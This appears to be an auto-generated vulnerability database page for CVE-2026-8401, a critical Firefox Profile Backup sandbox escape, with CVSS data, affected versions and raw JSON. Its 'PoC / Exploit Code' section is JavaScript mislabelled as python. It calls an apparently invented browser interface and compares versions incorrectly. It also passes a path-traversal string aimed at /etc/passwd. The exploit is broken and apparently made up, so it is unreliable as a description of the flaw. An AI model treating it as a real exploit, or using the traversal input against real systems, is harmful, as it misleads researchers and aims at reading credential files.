Security Vulnerability Report
中文
CVE-2026-8401 CVSS 9.8 CRITICAL

CVE-2026-8401

Published: 2026-05-12 15:16:20
Last Modified: 2026-05-15 20:05:35

Description

Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 150.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-8401 (Conceptual) * This script attempts to trigger the sandbox escape vulnerability * in the Firefox Profile Backup component. * Note: This is a conceptual demonstration for educational purposes. */ function checkVulnerability() { // Check if the Firefox version is vulnerable var userAgent = navigator.userAgent; var versionMatch = userAgent.match(/Firefox\/(\d+\.\d+\.\d+)/); if (versionMatch) { var version = versionMatch[1]; console.log("[+] Detected Firefox version: " + version); // Vulnerability exists in versions < 150.0.3 if (version.localeCompare("150.0.3") < 0) { console.log("[!] Version is vulnerable to CVE-2026-8401."); triggerExploit(); } else { console.log("[-] Version is patched."); } } else { console.log("[-] Target browser is not Firefox."); } } function triggerExploit() { try { // Attempt to interact with the Profile Backup component // In a real scenario, this would involve specific API calls // that trigger the logic flaw leading to sandbox escape. var backupComponent = window.getInterface ? window.getInterface(Components.interfaces.nsIProfileBackup) : null; if (backupComponent) { console.log("[+] Accessing Profile Backup component..."); // Malicious payload execution would occur here // Simulating the escape attempt backupComponent.startBackup("../../../../../etc/passwd"); console.log("[+] Exploit trigger sent."); } else { console.log("[-] Component not accessible."); } } catch (e) { console.log("[!] Error during exploit execution: " + e.message); } } // Run the check checkVulnerability();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8401", "sourceIdentifier": "[email protected]", "published": "2026-05-12T15:16:20.100", "lastModified": "2026-05-15T20:05:34.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0.3", "matchCriteriaId": "B13F359A-1C15-48B4-8319-AD42CC852E8C"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2038679", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-45/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}